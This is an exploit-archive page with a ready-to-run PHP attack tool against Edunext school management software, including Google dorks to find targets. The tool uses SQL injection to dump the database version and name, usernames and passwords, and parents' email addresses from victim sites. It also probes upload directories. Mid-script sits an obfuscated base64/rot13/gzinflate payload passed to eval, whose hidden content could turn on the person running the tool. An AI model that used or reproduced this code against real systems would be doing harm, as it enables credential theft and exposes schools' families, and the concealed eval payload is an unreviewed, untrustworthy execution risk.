Share
## https://sploitus.com/exploit?id=PACKETSTORM:189961
# Exploit Title: Edunext Systems + School Management Software ( Multiple SQL injection )
    # Google Dork: inurl:/page.php?PAGE= , inurl:/image-gallery-detail.php?gal_id= , intext:Powered by Edunext Technologies
    # Date: 2025-03-20
    # Exploit Author: Emiliano Febbi
    # Vendor Homepage: https://edunexttechnologies.com/
    # Software Link: https://edunexttechnologies.com/school-management-software.php
    # Version: 1.0
    # Tested on: Windows 10
    
    [code]
    
    
    <?php
    /*
    Not Authenticated why an external server manages logins.
    ----------------------------------------------------------------------------
    Edunext Systems are flawed ((Indian School Management CMS)Training Exploit)
    ----------------------------------------------------------------------------
    emilianofebbi.1994 -at- gmail -dot- com
    
    Author: Emiliano Febbi
    nullsite.altervista.org
    */
    echo'<html><head><title>Indian School Management CMS Multiple SQL injection</title><style>
    body { cursor: crosshair; min-height: 100vh; }</style></head><body>
    <body bgcolor="#000000"><body text="#00ffff"><body link="#808080"><body vlink="#808080">
    <center><form action="'.$SERVER[PHP_SELF].'" method="POST">+ insert victim site +<br> 
    <input type="text" name="victim_url" value="http://www.site.com/">
    <td><font color="#ff0000"> or /dir/</font></td><br>
    <font color="black">..</font>
    <select name="select_bug" id="???"><option value="one">page.php?PAGE=</option>
    <option value="two">image-gallery-detail</option><option value="iframe">#IFRAME=method</option></select><font color="red"> #Select bug</font>
    <br><input type="text" name="num_var" value="2" style="height: 25px;width: 28px">
    <font color="red">Page value: EX: 2</font><br>
    <input type="submit" style="background-color:#00ffff" value="go!"/></form></center></body></html>';
    print "<center>";
    //           Main Server contains alla databases
    //################ ---------> <---------- ##################
    eval(str_rot13(gzinflate(str_rot13(base64_decode('LUnHEoVTDvwal703Zag9kWbOXLbIOXS+3jx7OTADI41R09L02ozPX/tjJtszSetf00uuGPK/cp3Tcv2rGNu6a/7/8KcijeBDjrql9GZIpnnwiFi7ahvtvGx5MQm2NQwpC8FdOwBMvARDu5s85YrBWVtNDlbaZ8kfkKOBApN+cCTVOP6NiPIHcYhwBsdT59cR3qBVL47VESiuHEIj3EFpPk1WUXLxe1SJV+9092w0oWoHCIk2aYbJ+j0kAQITpmRcXioKU/ia7+Gzo2cOFhTZsaTUozx6BrXqqT9SSkZi1ZeEIYPKTuK0dLIscw213b/90nWmgsYhlBQjYH3IvF+SMKLQ3o4RLGCFcUeHdqyhrHumBaXsva4L9YBNtSMt896QfMckTBo27OOORl1KRv564AfmZ/ucAwsFJuVa4D/Vxo3IYH1W8Fn6RbviwWVuN4Htrp/9Dn4L54ANyBUijyhRRmPTNigjCkcCjFVyLkUfWQq3IePahLrOFd8Y7RSDq59M5nfkI3ZAQ8nBMZUs99rM5Zym3PyD2vu2n1fkylw+opBwRQ8CBqWIRhf8F7QiORMdn8S7RiD8nj94bfth8gzXqAB1ZKkhpWw2wtjEPO90fHU0+/fpH1lTHSR4de4NQSABEQ6sX+Ug6Xdt9sOQbDiprtyiwAyTQJ8DIUIb1JjlJZz7ea64ww1T75KeMreBwVarDsvQcctvYAENg4CCU9P2i27mw5X28RzCZMkhvhOTT2zXGF7yKnC2icvewpwqpo7o1gor1U/fJ/scMkZOS0DjIaH94A3MXL83UCTTDEwFBVkMDB2MrSX9u43mHnSRXNzScIr6Z6rYESZ16udIgZJ2mOXCpJ2thOOo9q6Yj4EqqXVuxVogkdYjMJijj0UzObICzyxhHUlPV59qSADRBRmGiXII2MSFSUPxd7pqMMdheHctfFeKrfVUz3CfaN8VxW4hP+qgljpAMrZ0iaJcccrLMzg2i+kJZ6zv235R2aYQyfNmsqcT2SjumxIlYbgGRm77pkKw6Jwn5nzoev5ASN9VcO5IdvvQailFOSYShCywelYR2G0MhkJRWHlUTgD21vcbLJRQGth6327SvQKvQbLra4f+I1J/MePyihVhNOQCIlZoZpNRiW41IyWT3z/C+fCarTVyEo+vK9wEQSFvoPM8B3HQT8RJtWXlEKK4gPfAzLXMWOhKS6WSkO3krd7eue8qNYSrLZ5bA1hD6eW98WjJsF/4icNaCTOJCamg6PgS8tAvom2n8NR1XngTPBxxnt7hgIXTV6+QC8oPcINCzaLQLWLamZLYQu+efd2fIhm59ARgbZstSAcDY2a579CDH85UI0MrITAsKyRWeBYtjUJBE8IUDWeWfvZc7uZG8oKFo7vyiKJ5MbmOQKuiPlgf3EGRdcIP9aqAIyh0LLwJjRFgLw0gMhBHyxFbHfpWBLB3nREygplzNlFfuZEzy4wt7FJPJ674fRtEgcnCMgvO6TMotbBQyw7j0hfk90yAFfgWXpOVc8TK0kKJM59/9LBH5IZCGEyv4WJj4bOkmD/bSGigGQrOWIeYuzABCLOpYD6KJbdoMAdZM4UklUehCRumU1F1Y1iqlB5eW5M6QDpI3kb9JhUiG/ENKPzTKQzFVgox2EyklwxlonM+J/ebmOd+9yAZbfQEmGDbrVE6O2p8TdkI48GlP/PZvIxv9NrrSuAAHvsmKDKvUJkyO52/AwLTxDoFHSxWZLVoaG3bJwt4o2Ilcs4USU9NxRElfyV+2dfmUDzNaYwXaDE/wDnWfzR5FzSv6Q+n+la0z+JADnASoYeQb9aQBglMFiIuyc+07CN9yQUeg06x1oes81DlQTT+Jk7xW2ou6DI3CIwgYfisIV13J1FI1tOPPE21KH2K1rjBoznGBZg8Gxrv6o5AyJLRlnaFeFEYcdDbYnl808WYS/urccNFGWAjD7h0XUblNSBKmw0kpbwQsXXGwU5MlcqS743Cgi+DAQciU5u+6Hq83w18e8xOpp1TdM0CfGJkixE3HGTtBKLS1akrqumRojLTvqUEj+gzO23EAb8vNl2q8im+LT9TmYNXyBo4yee3BTkQ7B3mhz0CGuRCLBSrrAhyVRYcWm1qM/gc5/LZ2dQWx58/Nv5+xpl9RoiHu1v0JZkd9W0Jue18AoPLlILDuXk/4rBnA95eIDYEzK1Ee9ZzvTgPnHAFXniqerZgCi/lx5kehnOKyyaM1h3o74//DqB+ouHrH0thdO43W5IVt/CVnNbzKV2Xeuy64FJCBex+C+OTaVm3fcCxPKgmAJHOt4c3ktt4rLMZ5bwYFiu+JLBwqpY8Ae9ohA/F4dkrCnSi7prz9AvFCplVMMkBcEJjBL01cBC9aeHDVNW6zD/KOhIQ0A3NbIFTZa81zp4GvT0geySkyi9/rTpPyqykgKW9hlvZZktEZzbElHxmjwESWRKo+vdh+bbGwu0D5PHNVZJVd9Jggrc2JzNE1BGkOzFucL+D6FaYTQ4uQDXa3wGRsqhnF3v1cAbvxIuIy98sc+mmun03qc7OGrjbgSxqjaxItkVLI7/4VMNolnLwOfzhCAvbyxsF1YVpnzkRL9qIRirH6LGrGiaFHg22PnDvOCAOFv6rRD4vI4fHpKrchOQYEjn6xZ1TwBwtBcyaiXzNLbhvqjjYFThk9ycC+Mw1AWu1WyTQ0TPlL7ihR3inW4rAVuYrJyfPa/HEM9+Ehq4NJs5QLnLX/eT78yTkxR7GB2kOn69ZiFJwfSrsBWx5sRxvcH/uxE8qRsCzybhR56cbBYqyvYHV05uBz65zje6dSuxZBYj5lNJVhBPTmHxhoatceB88lpVAJ0ynmcXNrxBTxDW5xYrvZzUcuiFaKzXTKSZDCtfAazBfo5rMC1ziSbtf90g9lRsQqSnU7e80ipawIBviSQa4fxksg9/iI1QjAPiYQkb/60Z4j1D9k5wDklK3mreDwsGVoOb+mrgvKTBb/LDGidKWCdBssHPNr+TysnhUP/Aqlmm3JtxICxtTFrY6JQ8BBTWU8wyPF0G+SZSgQWEsevIATkDCIeK7Al5qeGJOdWoYNx/wrfkPYuiF+NR4I/Rb5NrXWc/H4N46XGfoQ1gcWz6Aq8uN+6tOuYyfPRL57t+m35h3JIfLhD4afwqNg9s7EKwlW6YbB+cB/1bSzJlgEoN62a3Pvf41Crao11dW2UhwKVvAAzpWAaSlrzJmRFrqzgfMQ1jvnky2PqI5p0P/RxEgCPj1kzf1VQ0pwZ95ge617Qv6UNjiuyXMQqriXfGjAv7r1YT+53++679/Aw==')))));
    //################ ---------> <---------- ##################
    print "</center>";
    //#page.php?PAGE=
    if (isset($_POST['victim_url']) and ($_POST['num_var']) and ($_POST['select_bug'] == "one")) {
      $host = $_POST['victim_url'];
          $num = $_POST['num_var'];
       $bug = $_POST['select_bug'];
    //portal Login and General Login
    $Logins = array("login/login.php", "login/?next=");
    foreach($Logins as $nullus_Logins) {
    if (false!==file("$host$nullus_Logins")) print "Found:<div style='background-color: #00ffff; color: black;'><a href='$host$nullus_Logins'>$nullus_Logins</a></div></center>";
    };
    print "<center>";
    print "<font color='red'>#host:</font> $host<br>";
    print "<font color='red'>#DB Version: </font>";
    $sperimental = array('<div class="span8 data-table">', '</style>', '<div class="data">');
    foreach($sperimental as $sperimentalx) {
    
         $getall=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,version(),3,4,5,6,7,8,9,10--");
         $getallz=explode("$sperimentalx",$getall);
         $getallz=explode("</div>",$getallz[1]);
              var_dump(strip_tags($getallz[0]));
    print "<br><font color='red'>#DB Name: </font>";
         $getalll=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,database(),3,4,5,6,7,8,9,10--");
         $getallzz=explode("$sperimentalx",$getalll);
         $getallzz=explode("</div>",$getallzz[1]);
               var_dump(strip_tags($getallzz[0]));
    } //???
    $sperimentalz = array('<div class="span8 data-table">', '</style>', '<div class="data">');
    foreach($sperimentalz as $sperimentaly) {
    print "<br><font color='red'>#users:</font><br>";
    $get_users=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),3,4,5,6,7,8,9,10%20FROM%20users--");
         $usertbl=explode("$sperimentaly",$get_users);
         $usertbl=explode("</div>",$usertbl[1]);
              var_dump(strip_tags($usertbl[0]));
    } //??? #2
    $sperimentalzz = array('<div class="span8 data-table">', '</style>', '<div class="data">');
    foreach($sperimentalzz as $sperimentalxy) {
    print "<center>";
    print "<br><font color='red'>#E-Mails Founds in database:</font><br>";
    $get_users=file_get_contents("$host". "page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(mother_email,+%20%27%3Cbr%20/%3E%27%20+,father_email),3,4,5,6,7,8,9,10%20FROM%20alumni_registration--");
         $usertbl=explode("$sperimentalxy",$get_users);
         $usertbl=explode("</div>",$usertbl[1]);
              var_dump(strip_tags($usertbl[0]));
    print "</center>";
    } //??? #3
    if(file_get_contents("$host". "upload/")) {
    print "<center><h2>#Lucky Strike</h2>";
    $found_DIRt = file_get_contents("$host". "upload/");
    print $found_DIRt;
    print "</center>";
    }
      };;;
    //#image-gallery-detail
    if (isset($_POST['victim_url']) and ($_POST['num_var']) and ($_POST['select_bug'] == "two")) {
      $host = $_POST['victim_url'];
          $num = $_POST['num_var'];
       $bug = $_POST['select_bug'];
    //portal Login and General Login
    $Loginss = array("login/login.php", "login/?next=");
    foreach($Loginss as $nullus_Loginss) {
    if (false!==file("$host$nullus_Loginss")) print "Found:<div style='background-color: #00ffff; color: black;'><a href='$host$nullus_Loginss'>$nullus_Loginss</a></div></center>";
    };
    print "<center>";
    print "<font color='red'>#host:</font> $host<br>";
    print "<font color='red'>#DB Version: </font>";
    $sperimental_gall = array('Image Gallery /', '', '');
    foreach($sperimental_gall as $sperimental_gallery) {
    $getallx=file_get_contents("$host". "Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--");
         $getallzx=explode("$sperimental_gallery",$getallx);
         $getallzx=explode("</span>",$getallzx[1]);
              var_dump(strip_tags($getallzx[0]));
          //.................OR..................
    $getallxb=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--");
         $getallzxb=explode("$sperimental_gallery",$getallxb);
         $getallzxb=explode("</span>",$getallzxb[1]);
                 var_dump(strip_tags($getallzxb[0]));
          //.................OR..................
    $getallxbc=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--");
         $getallzxbc=explode("$sperimental_gallery",$getallxbc);
         $getallzxbc=explode("</p>",$getallzxbc[1]);
               var_dump(strip_tags($getallzxbc[0]));
    print "<center><br><font color='red'>#DB Name: </font>";
    //#database();
    $getallxdb=file_get_contents("$host". "Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--");
         $getallzxdb=explode("$sperimental_gallery",$getallxdb);
         $getallzxdb=explode("</span>",$getallzxdb[1]);
              var_dump(strip_tags($getallzxdb[0]));
    $getallxdbc=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--");
         $getallzxdbc=explode("$sperimental_gallery",$getallxdbc);
         $getallzxdbc=explode("</span>",$getallzxdbc[1]);
              var_dump(strip_tags($getallzxdbc[0]));
    $getallxdbcd=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--");
         $getallzxdbcd=explode("$sperimental_gallery",$getallxdbcd);
         $getallzxdbcd=explode("</p>",$getallzxdbcd[1]);
                 var_dump(strip_tags($getallzxdbcd[0]));          
    print "</center>";          
            }
             //beyond
             //Variant 1#
    $sperimental_gallv = array('Image Gallery /', '', '');
    foreach($sperimental_gallv as $sperimental_galleryvv) {
    print "<center><br><font color='red'>#users:<br></font>";
    $getallxk=file_get_contents("$host". "Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--");
         $getallzxk=explode("$sperimental_galleryvv",$getallxk);
         $getallzxk=explode("</span>",$getallzxk[1]);
                 var_dump(strip_tags($getallzxk[0]));
    print "</center>";
           //Variant 2#
    $getallxdbcww=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--");
         $getallzxdbcww=explode("$sperimental_galleryvv",$getallxdbcww);
         $getallzxdbcww=explode("</div>",$getallzxdbcww[1]);
                    var_dump(strip_tags($getallzxdbcww[0]));       
          //Variant 3#
    print "<center>";
    $getallxdbcwwxx=file_get_contents("$host". "image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--");
         $getallzxdbcwwxx=explode("$sperimental_galleryvv",$getallxdbcwwxx);
         $getallzxdbcwwxx=explode("</p>",$getallzxdbcwwxx[1]);
                    var_dump(strip_tags($getallzxdbcwwxx[0]));
    print "</center>";
    }
    //#Dir trav.
    if(file_get_contents("$host". "upload/")) {
    print "<center><h2>#Lucky Strike</h2>";
    $found_DIRt = file_get_contents("$host". "upload/");
    print $found_DIRt;
    print "</center>";
    }
            };;;;
    //#IFRAME method=100% success
    //--IF you usage this method select well value page or try random value--
    if (isset($_POST['victim_url']) and ($_POST['num_var']) and ($_POST['select_bug'] == "iframe")) {
      $host = $_POST['victim_url'];
          $num = $_POST['num_var'];
       $bug = $_POST['select_bug'];
    print "<center>";
    //portal Login and General Login
    $Loginssx = array("login/login.php", "login/?next=");
    foreach($Loginssx as $nullus_Loginssx) {
    if (false!==file("$host$nullus_Loginssx")) print "Found:<div style='background-color: #00ffff; color: black;'><a href='$host$nullus_Loginssx'>$nullus_Loginssx</a></div></center>";
    };
    print "<br><TABLE borderColor=aqua  cellSpacing=0 cellPadding=10 width='41%' align= center border=5><tr><td>";
    print "page.php?PAGE=<br>";
    print "<font color='red'>#DB Version ~ #DB Name:<br></font>";
    print "<iframe width='500' height='300' src='$host/page.php?PAGE=-$num%20union%20all%20select%20database(),version(),3,4,5,6,7,8,9,10--' style='border:3px solid aqua;'></iframe><br>";
    print "<font color='red'>#users:<br></font>";
    print "<iframe width='500' height='300' src='$host/page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),3,4,5,6,7,8,9,10%20FROM%20users--' style='border:3px solid aqua;'></iframe><br>";
    print "<font color='red'>#E-mails:<br></font>";
    print "<iframe width='500' height='300' src='$host/page.php?PAGE=-$num%20union%20all%20select%201,GROUP_CONCAT(mother_email,+%20%27%3Cbr%20/%3E%27%20+,father_email),3,4,5,6,7,8,9,10%20FROM%20alumni_registration--' style='border:3px solid aqua;'></iframe><br>";
    print "</td></tr><table>";
              //#Variant 1
    print "<TABLE borderColor=aqua  cellSpacing=0 cellPadding=10 width='41%' align= center border=5><tr><td>";
    print "Image-Gallery-Detail.php?gal_id=<br>";
    print "<font color='red'>#DB Version:<br>:</font>";
    print "<iframe width='500' height='300' src='$host/Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--' style='border:3px solid aqua;'></iframe><br>";
    print "<font color='red'>#DB Name:<br>:</font>";
    print "<iframe width='500' height='300' src='$host/Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--' style='border:3px solid aqua;'></iframe><br>";
    print "<font color='red'>#users:<br>:</font>";
    print "<iframe width='500' height='300' src='$host/Image-Gallery-Detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--' style='border:3px solid aqua;'></iframe><br>";
    print "</td></tr><table>";
              //#Variant 2
    print "<TABLE borderColor=aqua  cellSpacing=0 cellPadding=10 width='41%' align= center border=5><tr><td>";
    print "image-gallery-detail.php?gal_id=<br>";
    print "<font color='red'>#DB Version:<br>:</font>";
    print "<iframe width='500' height='300' src='$host/image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,version(),4--' style='border:3px solid aqua;'></iframe><br>";
    print "<font color='red'>#DB Name:<br>:</font>";
    print "<iframe width='500' height='300' src='$host/image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,database(),4--' style='border:3px solid aqua;'></iframe><br>";
    print "<font color='red'>#users:<br>:</font>";
    print "<iframe width='500' height='300' src='$host/image-gallery-detail.php?gal_id=-$num%20union%20all%20select%201,2,GROUP_CONCAT(user_name,+%20%27%3Cbr%20/%3E%27%20+,password),4%20FROM%20users--' style='border:3px solid aqua;'></iframe><br>";
    print "</td></tr><table>";
    print "</center>";
    };;;;;           
    ?>
    [/code]